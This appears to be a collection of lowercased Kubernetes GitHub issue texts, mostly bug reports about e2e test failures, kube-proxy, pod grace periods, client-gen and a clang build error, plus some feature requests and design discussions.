directoryorcreate\r     name: logs\r status: {}\r \r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:59:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux azwushubqaadmmaster01 4.13.0-1016-azure  19-ubuntu smp thu may 3 17:29:51 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm\r  logs.zip  https://github.com/kubernetes/kubernetes/files/2007166/logs.zip \r \r - others:\r

  \r   request:   virtual services and cluster bridges.\r \r   description:   kubernetes is an elegant piece of software with a beautiful architecture. it's abstractions make sense, are an excellent example of the single responsibility principle at work, and help to avoid duplication of configs that can weaken security and introduce instability. i'm a fan. where things get a little challenging is bringing external services into the cluster.\r \r it would be super awesome if we could have virtual services that abstract the entire mechanics of bringing external services into the cluster under two circumstances.\r \r the first would be to have a secure link to an external database where said database could be exposed to the cluster's internal network for consumption by pods as if that database was part of the cluster. in that way, all of the security and network configuration could be localized onto that single virtual service. semantically, all of the components, which comprise an overall app could then be represented as a collection of services and virtual services.\r \r the second would be to have a secure link to the services running in an external k8s cluster. similar to the above but with a cluster bridge, which allows the clusters to communicate so as to facilitate scaling and stability requirements.\r \r the use cases for the above are twofold: firstly, having a consistent representation of services outside the cluster for consumption within the cluster and secondly, having a cluster-of-clusters where geo-distributed data and data security boundaries can be abstracted away from the apps through configuration. another use case is a commercial one for cloud services like azure and aws, which could use virtual services to expose the many cool things they offer to apps within k8s clusters.\r \r we can do the above today within kubernetes; however, the abstraction isn't as clean as it could be and there is no way for clusters to communicate with each other with respect to load prediction.\r \r bearing in mind that i am very new to k8s, if i've misunderstood something, please feel free to roast me as appropriate :

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-cos-master-serial\r \r   which test s  are failing  : the whole job is core dumping\r \r   since when has it been failing  :  dec. 18th\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-serial\r \r   reason for failure  :\r \r core dump from ginko:\r \r    \r error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true  interrupted : signal: aborted  core dumped \r    \r \r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r    / \r attn:\r @tpepper @bentheelder @maria @spiffxp

i've been looking into getting a cluster-local docker registry up as a cluster addon   1319  and the problem comes down to creating the certificate for the registry and trusting it. the apiserver ca cert is already visible from every node and every pod, so signing the registry certificate with the apiserver ca would eliminate any ca cert distribution issues.  right now, we create the ca and apiserver certificate and key in a number of places  we have provider-specific ways to create them or use one of two scripts in salt . we don't copy over the ca key which is needed to sign new certificates.  one approach to fixing this is copying the ca key  might as well copy all of the pki/ directory used by easyrsa , but i'm not sure that this is a good idea. alternative, we could add creation to every instance where the ca cert is created, but this is tedious and error prone.

background: client proposal in  15730, api type structure proposal in  16062  at first i was thinking we'd generate based on tags in the comments, e.g. something like:      go // pod documentation here // +generate=create,update,list,get,delete type pod struct {   ... }      and the result would be something like our current podsnamespacer client. but then i got to thinking that it'd be super nice to have type information in the methods, to handle the case where e.g. the binding   method takes an  v1.binding.      go type podsrest interface {   create  pod   pod   update  pod   pod   list ???   podlist   binding  binding   status }      this has some downsides, like how do you represent query parameters, or the fact that you'll either get a  pod or a  status  i.e., error  back? or that that you must post to binding?  we could model one layer down.      go type podspost struct {   parameters  postparams   reqbody  pod   respbody  pod }  type podsrest struct {   post podspost   ...   bindings podbindingsrest }  type podbindingsrest struct {   post bindingspost }  type bindingspost struct {   parameters  postparams   reqbody  binding   respbody  status }      this has disadvantages: it's starting to get quite complex and verbose, there's still no good go way to indicate union types.  so we need to explore alternatives. - always generate clients from swagger? then we don't need to solve this until we want to generate the rest setup code. this is probably the most obvious thing to do, which is why i'm filing this as only p2. - switch to proto? the rpc/service stuff there isn't super natural for describing rest either, but it can work. this would be very disruptive, though.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/833/  failed:  k8s.io  resourcequota should verify resourcequota with terminating scopes. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:410 expected error:     < errors.errorstring | 0xc8204bf430>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:387      previous issues for this test:  31158

guaranteedupdate tries to update with cached data.  patch needs to know whether its being called with live or stale data to determine the \ base\  level the patch was issued against.\r \r

pr  45101 _mark persistentvolumes as  feature:volumes _ adds the  feature  tag to nfs backed pv tests \ so that we know that we need a cloud provider that supports volumes to run this test.\  as a local cluster created by  local-up-cluster.sh  is not tested in ci, is it actually appropriate to use  feature  here?  given that the core ci environments _do_ support these tests, my understanding is that this tag is misplaced.\r \r the issue with applying this tag is these tests will no long appear in the ci test grid, which we track for flakes.  without this, our team is unable to track and improve these test sets.\r \r cc @eparis @saad-ali @jeffvance @dims \r \r eric:  i can see _some_ feature suites in the test grid, but not all.  are only select  feature 's tested?  and are flakes in non-test grid  feature s reported?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.496+810efa6689f327-dirty\ , gitcommit:\ 810efa6689f327491bc15ce23f474219005e5f5a\ , gittreestate:\ dirty\ , builddate:\ 2017-06-09t13:41:28z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.496+810efa6689f327-dirty\ , gitcommit:\ 810efa6689f327491bc15ce23f474219005e5f5a\ , gittreestate:\ dirty\ , builddate:\ 2017-06-09t13:41:28z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r    \r root@k8s001:~/cases/data  cat /etc/ release\r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04 lts\ \r name=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r \r   what happened  :\r deployment\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: my-nginx\r   name: my-deploy\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: my-nginx\r   template:\r     metadata:\r       labels:\r         run: my-nginx\r     spec:\r       terminationgraceperiodseconds: 180\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx-c1\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r case 1  first create the deployment then delete, the pod does not wait 180 seconds before deleted.\r \r case 2  use  kubectl delete  directly, but still does not take effect.\r \r    \r kubectl delete deployment my-deploy --grace-period=6000\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

what happened  :\r i have a custom resource definition which i access using a generated clientset. i re-ran the client-gen command today and now my unit tests have broken  in addition to directories moving . i tracked down the error to groupname being assumed to be {group} from the path rather than the defined groupname variable in the codebase. this is a problem because i have set groupname to \ mygroup.mydomain.io\ , but the fake gets generated with a group name of \ mygroup\  as taken from the path.\r \r   what you expected to happen  :\r i expected the fakes to use groupname as set in register.go in my api definitions directory.\r \r   how to reproduce it  as minimally and precisely as possible   :\r go install k8s.io/code-generator/cmd/client-gen\r client-gen \\\r   --input-base {myrepo}/pkg/api \\\r   --input \ mygroup/v1\  \\\r   --output-base ${gopath}/src \\\r   --clientset-name clientset \\\r   --clientset-path {myrepo}/pkg/client\r \r   anything else we need to know?  :\r i previously ran the code generation on sept 14  or maybe 13?  and the generated code worked correctly, however, github.com/kubernetes/code-generators appears to have diverged drastically from the binary i ran at the time.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r after create cluster in different system centos and ubuntu , one node's kube-proxy status is terminating, and never restart. shows log is \ eof\  \r \r   what you expected to happen  :\r all components of k8s is ready.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i create a 3 master k8s cluster, and add one more master in. then check the status of all components.\r \r   anything else we need to know?  :\r anything you want to know, please tell me.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r here are different system\r - one status is terminating is centos\r   cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - three status ready machines are ubuntu system\r   cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r - centos\r   uname -a\r linux n-umulti-192-168-4-99 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - ubuntu\r   uname -a\r linux m-umulti-192-168-4-106 4.4.0-98-generic  121-ubuntu smp tue oct 10 14:24:03 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm\r - others: calico network plugin\r \r   \r   the cluster is look like  \r    \r   kubectl get pods --all-namespaces\r namespace     name                                                  ready     status        restarts   age\r default       cheddar-5d7cbff67c-vmwj2                              1/1       running       0          54s\r default       stilton-86ddfdcbd5-kkbrt                              1/1       running       0          54s\r default       wensleydale-95489f8df-jtnsp                           1/1       running       0          54s\r kube-system   calico-node-9x7tq                                     2/2       running       0          8m\r kube-system   calico-node-ffsnt                                     2/2       running       0          8m\r kube-system   calico-node-hq2nm                                     2/2       running       0          6m\r kube-system   calico-node-lfdlv                                     2/2       running       0          5m\r kube-system   calico-node-r9wwb                                     2/2       running       0          8m\r kube-system   calico-policy-controller-5464665d54-27h2x             1/1       running       0          8m\r kube-system   coredns-9rb45                                         1/1       running       0          8m\r kube-system   coredns-cdcfd                                         1/1       running       0          8m\r kube-system   coredns-kqv57                                         1/1       running       0          5m\r kube-system   coredns-rrcnb                                         1/1       running       0          8m\r kube-system   exeternal-dns-56c584b5c-5pn7k                         1/1       running       0          8m\r kube-system   k8s-192-168-4-106-keepalived-m-umulti-192-168-4-106   1/1       running       0          9m\r kube-system   k8s-192-168-4-107-keepalived-m-umulti-192-168-4-107   1/1       running       0          9m\r kube-system   k8s-192-168-4-109-keepalived-m-umulti-192-168-4-109   1/1       running       0          9m\r kube-system   k8s-192-168-4-99-keepalived-m-umulti-192-168-4-99     1/1       running       0          5m\r kube-system   kube-apiserver-m-umulti-192-168-4-106                 1/1       running       0          7m\r kube-system   kube-apiserver-m-umulti-192-168-4-107                 1/1       running       0          7m\r kube-system   kube-apiserver-m-umulti-192-168-4-109                 1/1       running       0          7m\r kube-system   kube-apiserver-m-umulti-192-168-4-99                  1/1       running       0          3m\r kube-system   kube-controller-manager-m-umulti-192-168-4-106        1/1       running       0          9m\r kube-system   kube-controller-manager-m-umulti-192-168-4-107        1/1       running       0          9m\r kube-system   kube-controller-manager-m-umulti-192-168-4-109        1/1       running       0          9m\r kube-system   kube-controller-manager-m-umulti-192-168-4-99         1/1       running       0          5m\r kube-system   kube-dns-545bc4bfd4-lx699                             3/3       running       0          8m\r kube-system   kube-proxy-5xh57                                      1/1       running       0          8m\r kube-system   kube-proxy-8rwf7                                      1/1       running       0          6m\r kube-system   kube-proxy-plskx                                      1/1       running       0          8m\r kube-system   kube-proxy-qtb9s                                      1/1       running       0          8m\r kube-system   kube-proxy-zb6m2                                      0/1       terminating   0          5m\r kube-system   kube-scheduler-m-umulti-192-168-4-106                 1/1       running       0          9m\r kube-system   kube-scheduler-m-umulti-192-168-4-107                 1/1       running       0          9m\r kube-system   kube-scheduler-m-umulti-192-168-4-109                 1/1       running       0          9m\r kube-system   kube-scheduler-m-umulti-192-168-4-99                  1/1       running       0          5m\r kube-system   prometheus-node-exporter-2qjvq                        1/1       running       0          6m\r kube-system   prometheus-node-exporter-bftcd                        1/1       running       0          8m\r kube-system   prometheus-node-exporter-k54fp                        1/1       running       0          8m\r kube-system   prometheus-node-exporter-mrl58                        1/1       running       0          5m\r kube-system   prometheus-node-exporter-wqq4x                        1/1       running       0          8m\r kube-system   traefik-ingress-lb-4f2fr                              1/1       running       0          8m\r kube-system   traefik-ingress-lb-8h5v9                              1/1       running       0          8m\r kube-system   traefik-ingress-lb-bsr5p                              1/1       running       0          5m\r kube-system   traefik-ingress-lb-kg42z                              1/1       running       0          8m\r    \r \r   show kube-proxy logs  \r    \r   kubectl logs -f kube-proxy-zb6m2 -n kube-system\r eof\r  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there is no way to control controller-manager to exit gracefully when i kill its process directly e.g. upgrade . in such case, there maybe kinds of disadvantages.\r \r 1.  exit just after loadbalancer service deletion triggered  service controller have no enough time to process this service deletion ,   it may cause many resources leak on loadbalancer side. \r \r 2.  i think pv may have similar issue if it is dynamic provisioned.\r \r 3. whatever i want to do with resource deletion in other controllers, i have no way to process such case gracefully.\r \r i do suggest making use of  staging/src/k8s.io/apiserver/pkg/server/signal.go \r \r

what happened  :\r \r copied from: https://github.com/kubernetes/kubernetes/pull/63647 discussion_r187507372\r \r   what you expected to happen  :\r \r we should not rely on checking event message string  successfully assigned ...  in scheduling e2e test, because the string itself is not reliable, any unconscious change of this string will cause e2e test fail  this already happened for 2x times , and debugging those issues tend to be time consuming.\r \r i would suggest create a specific  successful assigned  event type or similar approach to fix it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r the field name  validation  was a poor choice. in addition to schema validation, we should implement both defaults and static validation  eg regexp, min/max...  which can be written in the open api spec. i'd like to do this before/when it goes to v1.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r pv protection e2e test \ verify \ immediate\  deletion of a pv that is not bound to a pvc\  failed like\r    \r  sig-storage  pv protection\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/framework.go:22\r   verify \ immediate\  deletion of a pv that is not bound to a pvc  beforeeach \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/pv_protection.go:93\r \r   expected\r       <bool>: false\r   to be true\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/pv_protection.go:83\r ------------------------------\r sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssaug 16 17:52:48.408: info: running aftersuite actions on all node\r aug 16 17:52:48.408: info: running aftersuite actions on node 1\r    \r \r   what you expected to happen  :\r \r the test can pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i am just kicking the test with\r \r    \r $ go run hack/e2e.go -- --provider=skeleton --test --test_args=\ --ginkgo.focus=deletion\\sof\\sa\\spv\\sthat\\sis\\snot\\sbound\\sto\\sa\\spvc\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r failed to build  cmd/kubelet  using a clang-based toolchain with linker_flag  -fuse-ld=lld .\r \r the relevant error messages were like:\r    \r  1,534 / 1,538  golink external/kubernetes/cmd/kubelet/linux_amd64_stripped/kubelet; 1s linux-sandbox\r error: /home/zhongming/.cache/bazel/_bazel_zhongming/2aea414f4d422ad78870bb37da8563ec/external/kubernetes/cmd/kubelet/build:10:1: golink external/kubernetes/cmd/kubelet/linux_amd64_stripped/kubelet failed  exit 1  link failed: error executing command \r    cd /home/zhongming/.cache/bazel/_bazel_zhongming/2aea414f4d422ad78870bb37da8563ec/execroot/logi && \\\r   exec env - \\\r     cgo_enabled=1 \\\r     goarch=amd64 \\\r     goos=linux \\\r     goroot=external/go_sdk \\\r     goroot_final=goroot \\\r     path=/opt/clang/bin:/bin:/usr/bin \\\r   bazel-out/host/bin/external/io_bazel_rules_go/go/tools/builders/linux_amd64_stripped/link '-param=bazel-out/k8-fastbuild/bin/external/kubernetes/cmd/kubelet/linux_amd64_stripped/kubelet-0.params' -- -extld /opt/clang/bin/clang '-buildid=redacted' -w -extldflags '-fuse-ld=lld -l/opt/clang/lib -lc++abi -no-canonical-prefixes -wl,--warn-execstack -wl,--detect-odr-violations -lm' \r \r use --sandbox_debug to see verbose messages from the sandbox: link failed: error executing command \r    cd /home/zhongming/.cache/bazel/_bazel_zhongming/2aea414f4d422ad78870bb37da8563ec/execroot/logi && \\\r   exec env - \\\r     cgo_enabled=1 \\\r     goarch=amd64 \\\r     goos=linux \\\r     goroot=external/go_sdk \\\r     goroot_final=goroot \\\r     path=/opt/clang/bin:/bin:/usr/bin \\\r   bazel-out/host/bin/external/io_bazel_rules_go/go/tools/builders/linux_amd64_stripped/link '-param=bazel-out/k8-fastbuild/bin/external/kubernetes/cmd/kubelet/linux_amd64_stripped/kubelet-0.params' -- -extld /opt/clang/bin/clang '-buildid=redacted' -w -extldflags '-fuse-ld=lld -l/opt/clang/lib -lc++abi -no-canonical-prefixes -wl,--warn-execstack -wl,--detect-odr-violations -lm' \r \r use --sandbox_debug to see verbose messages from the sandbox\r external/go_sdk/pkg/tool/linux_amd64/link: running /opt/clang/bin/clang failed: exit status 1\r ld.lld: error: unknown --compress-debug-sections value: zlib-gnu\r ld.lld: error: --compress-debug-sections: zlib is not available\r clang: error: linker command failed with exit code 1  use -v to see invocation \r \r golink: error running subcommand: exit status 2\r    \r \r   what you expected to happen  :\r \r able to build it with \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create the following two files:\r  tools/cpp/crosstool \r    \r major_version: '1'\r minor_version: '0'\r \r toolchain {\r     compiler: 'clang'\r     target_cpu: 'k8'\r     toolchain_identifier: 'k8-clang-toolchain'\r \r     abi_libc_version: 'local'\r     abi_version: 'local'\r     builtin_sysroot: ''\r     host_system_name: 'local'\r     needspic: true\r     supports_fission: false\r     supports_gold_linker: false\r     supports_incremental_linker: false\r     supports_interface_shared_objects: false\r     supports_normalizing_ar: false\r     supports_start_end_lib: false\r     target_libc: 'local'\r     target_system_name: 'local'\r \r     tool_path { name: 'ar' path: '/opt/clang/bin/llvm-ar' }\r     tool_path { name: 'compat-ld' path: '/opt/clang/bin/ld.lld' }\r     tool_path { name: 'cpp' path: '/opt/clang/bin/clang-cpp' }\r     tool_path { name: 'dwp' path: '/opt/clang/bin/llvm-dwp' }\r     tool_path { name: 'gcc' path: '/opt/clang/bin/clang' }\r       todo  zhongming : replace with  llvm-cov gcov \r     tool_path { name: 'gcov' path: '/usr/bin/gcov' }\r     tool_path { name: 'ld' path: '/opt/clang/bin/ld.lld' }\r     tool_path { name: 'nm' path: '/opt/clang/bin/llvm-nm' }\r     tool_path { name: 'objcopy' path: '/opt/clang/bin/llvm-objcopy' }\r     tool_path { name: 'objdump' path: '/opt/clang/bin/llvm-objdump' }\r     tool_path { name: 'strip' path: '/opt/clang/bin/llvm-strip' }\r \r       make c++ compilation deterministic. use linkstamping instead of these\r       compiler symbols.\r     unfiltered_cxx_flag: '-d__date__=\\'redacted\\''\r     unfiltered_cxx_flag: '-d__timestamp__=\\'redacted\\''\r     unfiltered_cxx_flag: '-d__time__=\\'redacted\\''\r     unfiltered_cxx_flag: '-wno-builtin-macro-redefined'\r \r       include system headers.\r     cxx_builtin_include_directory: '/usr/include'\r     cxx_builtin_include_directory: '/usr/local/include'\r \r       include headers shipped with clang-7.0.\r     cxx_builtin_include_directory: '/opt/clang/include/c++/v1'\r     cxx_builtin_include_directory: '/opt/clang/lib/clang/7.0.0/include'\r \r       use the c++ headers shipped with clang.\r     cxx_flag: '-isystem/opt/clang/include/c++/v1'\r     cxx_flag: '-nostdinc++'\r \r       use the lld linker.\r     linker_flag: '-fuse-ld=lld'\r \r       use the llvm libc++ instead of the gnu libstdc++.\r     linker_flag: '-l/opt/clang/lib'\r     linker_flag: '-lc++'\r     linker_flag: '-lc++abi'\r \r       use the system assembler instead of clang's integrated assembler.\r      \r       need the -b/usr/bin to provide a path to search for the system 'as'\r       binary.\r      \r       todo: enable this feature.  currenlty, the only reason for disabling the\r       integrated assembler is that clang's integrated assembler does not allow\r       some assembly source files, as generated by the perl scripts in the\r       openssl library, to compile because the target cpu does not have the\r       avx512 instruction set.  well, there is definitely a good reason to not do\r       that.  but in case of openssl, that piece of code will just sit there and\r       won't get called.  i believe that the integrated assembler,  clang\r       -cc1as , should provide a flag to allow the translation of unsupported\r       instruction.\r      \r       the true solution would be to rewrite the build file for openssl to\r       contain the -fno-integrated-as flag and pass the environment variable\r       there.\r      unfiltered_cxx_flag: \ -fno-integrated-as\ \r      unfiltered_cxx_flag: \ -b/usr/bin\ \r \r       enable coloring even if there's no attached terminal. bazel removes the\r       escape sequences if --nocolor is specified. this isn't supported by gcc on\r       ubuntu 14.04.\r     compiler_flag: '-fcolor-diagnostics'\r \r       all warnings are errors.\r      \r       if certain warning-turned errors are intended, use directives such as the\r       following in the source code to disable the checking for a few lines of\r       code:\r              pragma clang diagnostic push\r              pragma clang diagnostic ignored \ -wunused-private-field\ \r              code that would trigger the -wunused-private-field warning \r              pragma clang diagnostic pop\r      \r       todo  zhongming : turn on -werror after fixing third_party dependencies.\r      compiler_flag: '-werror'\r \r       todo  zhongming : turn on all the warnings listed below after fixing the\r       build.\r       turn on all warnings by default.\r     compiler_flag: '-wall'\r      compiler_flag: '-weverything'\r      compiler_flag: '-wextra'\r       request iso c/c++ compliancy.\r      compiler_flag: '-wpedantic'\r \r       keep stack frames for debugging, even in opt mode.\r     compiler_flag: '-fno-omit-frame-pointer'\r \r       default to c++17.\r      \r       a very easy-to-understand explanation with examples of modern features of\r       c++11/14/17:\r             https://github.com/anthonycalandra/modern-cpp-features\r      \r       may be overriden in specific cc_library   targets.  that will work as\r       expected because\r         a   the flags specified in cc_library   targets come after the flags\r             specified in crosstool, and\r         b   when the same flag '-std=xyz' is specified multiple times, the last\r             one takes effect.\r     cxx_flag: '-std=c++17'\r \r       anticipated future default.\r     linker_flag: '-no-canonical-prefixes'\r       gold linker only? can we enable this by default?\r     linker_flag: '-wl,--warn-execstack'\r     linker_flag: '-wl,--detect-odr-violations'\r \r       core common libraries.\r     linker_flag: '-lm'\r \r     compilation_mode_flags {\r         mode: dbg\r         compiler_flag: '-g'\r         compiler_flag: '-o0'\r     }\r \r     compilation_mode_flags {\r         mode: fastbuild\r         compiler_flag: '-g'\r         compiler_flag: '-o2'\r     }\r }\r    \r \r  tools/clang/build \r    \r package default_visibility= '//visibility:public'  \r \r filegroup name = 'empty' \r \r toolchain_type name = 'toolchain_type' \r \r cc_toolchain_suite \r     name = 'clang',\r     toolchains = {\r         'k8|clang': ':cc-compiler-local',\r     },\r  \r \r cc_toolchain \r     name = 'cc-compiler-local',\r     all_files = ':empty',\r     compiler_files = ':empty',\r     cpu = 'k8',\r     dwp_files = ':empty',\r     dynamic_runtime_libs =  ':empty' ,\r     linker_files = ':empty',\r     objcopy_files = ':empty',\r     static_runtime_libs =  ':empty' ,\r     strip_files = ':empty',\r     supports_param_files = 1,\r     toolchain_identifier = 'k8-clang-toolchain',\r  \r \r toolchain \r     name = 'cc-toolchain-local',\r     exec_compatible_with =   ,\r     target_compatible_with =   ,\r     toolchain = ':cc-compiler-local',\r     toolchain_type = ':toolchain_type',\r  \r    \r \r then, use the following arguments with  bazel build :\r    \r bazel build --cpu=k8 --compiler=clang --crosstool_top=//tools/clang/clang cmd/kubelet\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r \r ubuntu 18.04\r amd64\r \r - kubernetes version  use  kubectl version  :\r \r - cloud provider or hardware configuration: n.a.\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r \r     \r - kernel  e.g.  uname -a  :\r linux zhongming 4.15.0-39-generic  42-ubuntu smp tue oct 23 15:48:01 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r \r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

! image  https://user-images.githubusercontent.com/7941563/52856151-918af280-315e-11e9-89cd-9b06239916fc.png \r \r \r   what happened  :\r high disk read\r   what you expected to happen  :\r low disk read\r \r   how to reproduce it  as minimally and precisely as possible   :\r use polinux/stress image\r run  stress --vm 1 --vm-bytes 125m --vm-hang 1  in many pods or docker containers over max host memory\r then look iotop or iostat\r   anything else we need to know?  :\r none\r   environment  :\r - kubernetes version  use  kubectl version  :\r k8s 1.13.1\r - cloud provider or hardware configuration:\r docker 1.13.1\r - os  e.g. from /etc/os-release :\r centos 7.2\r - kernel  e.g.  uname -a  :\r 4.4\r - install tools:\r iotop\r - others:\r none

